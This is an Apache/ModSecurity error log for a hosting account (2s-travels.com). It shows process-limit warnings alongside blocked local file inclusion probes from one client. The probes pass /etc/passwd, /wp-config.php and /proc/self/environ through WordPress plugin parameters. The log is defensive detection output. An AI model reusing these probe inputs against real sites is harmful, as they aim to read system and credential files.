[Fri Jul 17 08:55:57.606248 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.606359 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.606728 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxYl9vhFBGA6D8l96SwAAAAw"]
[Fri Jul 17 08:55:57.608809 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.614567 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.619240 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.623437 2026] [hostinglimits:warn] [pid 2031210:tid 2031210] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031210) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.643450 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.647814 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:google-language-translator-css: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTAwAAAB4"]
[Fri Jul 17 08:55:57.648596 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTAwAAAB4"]
[Fri Jul 17 08:55:57.648819 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.649277 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxVCBpfuYyhJ140vTAwAAAB4"]
[Fri Jul 17 08:55:57.653313 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:google-language-translator-css: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlwwAAAA0"]
[Fri Jul 17 08:55:57.654298 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlwwAAAA0"]
[Fri Jul 17 08:55:57.654488 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.654945 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxSvekYYQ8uns4MwlwwAAAA0"]
[Fri Jul 17 08:55:57.666981 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:google-language-translator-css: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxXRlmrtCoY_COpcmNwAAAAg"]
[Fri Jul 17 08:55:57.667166 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:google-language-translator-css: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxXRlmrtCoY_COpcmNwAAAAg"]
[Fri Jul 17 08:55:57.667969 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxXRlmrtCoY_COpcmNwAAAAg"]
[Fri Jul 17 08:55:57.668323 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:google-language-translator-css: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTBAAAAB4"]
[Fri Jul 17 08:55:57.668475 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:google-language-translator-css: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTBAAAAB4"]
[Fri Jul 17 08:55:57.668905 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.669051 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTBAAAAB4"]
[Fri Jul 17 08:55:57.669174 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.669443 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxVCBpfuYyhJ140vTBAAAAB4"]
[Fri Jul 17 08:55:57.669670 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxXRlmrtCoY_COpcmNwAAAAg"]
[Fri Jul 17 08:55:57.673753 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:google-language-translator-css: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlJgAAAAI"]
[Fri Jul 17 08:55:57.674019 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:google-language-translator-css: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlJgAAAAI"]
[Fri Jul 17 08:55:57.674410 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.674885 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.675315 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlJgAAAAI"]
[Fri Jul 17 08:55:57.677031 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.677538 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxY1dLClkUfK_dfHlJgAAAAI"]
[Fri Jul 17 08:55:57.680017 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.684231 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.684791 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.707989 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.717309 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.717777 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.730368 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:path_2: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTCAAAAB4"]
[Fri Jul 17 08:55:57.731073 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTCAAAAB4"]
[Fri Jul 17 08:55:57.731214 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.731546 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxVCBpfuYyhJ140vTCAAAAB4"]
[Fri Jul 17 08:55:57.734940 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:path_2: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxXRlmrtCoY_COpcmOQAAAAg"]
[Fri Jul 17 08:55:57.735520 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:google-language-translator-css: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UawAAAAs"]
[Fri Jul 17 08:55:57.735633 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:google-language-translator-css: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UawAAAAs"]
